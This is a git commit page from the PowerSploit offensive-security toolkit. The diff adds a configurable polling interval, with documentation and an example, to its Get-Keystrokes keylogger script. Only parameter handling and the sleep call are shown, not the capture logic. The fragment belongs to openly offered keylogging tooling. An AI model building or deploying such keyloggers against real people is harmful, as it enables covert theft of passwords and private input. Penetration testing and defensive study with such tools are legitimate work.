aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration
diff options
context:
space:
mode:
authorMatt Graeber <mattgraeber@gmail.com>2015-12-14 09:11:05 -0800
committerMatt Graeber <mattgraeber@gmail.com>2015-12-14 09:11:05 -0800
commit93a71b037caa65fec2431fe54e93981fd3c2e655 (patch)
tree7718fe4c61aa907744b2cc88e8bd196200450106 /Exfiltration
parenta336562b700b462b507182be875a76919db58d88 (diff)
downloadPowerSploit-93a71b037caa65fec2431fe54e93981fd3c2e655.tar.gz
PowerSploit-93a71b037caa65fec2431fe54e93981fd3c2e655.zip
Adding PollingInterval param to Get-Keystrokes
Incorporates idea from @obscuresec in issue #50.
Diffstat (limited to 'Exfiltration')
-rw-r--r--Exfiltration/Get-Keystrokes.ps118
1 files changed, 15 insertions, 3 deletions
diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1
index 8beaf75..d040589 100644
--- a/Exfiltration/Get-Keystrokes.ps1
+++ b/Exfiltration/Get-Keystrokes.ps1
@@ -12,12 +12,16 @@ function Get-Keystrokes {
.PARAMETER LogPath
- Specifies the path where pressed key details will be logged. By default, keystrokes are logged to '$($Env:TEMP)\key.log'.
+ Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log.
.PARAMETER CollectionInterval
Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
+.PARAMETER PollingInterval
+
+ Specifies the time in milliseconds to wait between calls to GetAsyncKeyState. Defaults to 40 milliseconds.
+
.EXAMPLE
Get-Keystrokes -LogPath C:\key.log
@@ -26,6 +30,10 @@ function Get-Keystrokes {
Get-Keystrokes -CollectionInterval 20
+.EXAMPLE
+
+ Get-Keystrokes -PollingInterval 35
+
.LINK
http://www.obscuresec.com/
@@ -39,7 +47,11 @@ function Get-Keystrokes {
[Parameter(Position = 1)]
[UInt32]
- $CollectionInterval
+ $CollectionInterval,
+
+ [Parameter(Position = 2)]
+ [Int32]
+ $PollingInterval = 40
)
$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
@@ -139,7 +151,7 @@ function Get-Keystrokes {
$ImportDll = $TypeBuilder.CreateType()
}
- Start-Sleep -Milliseconds 40
+ Start-Sleep -Milliseconds $PollingInterval
try
{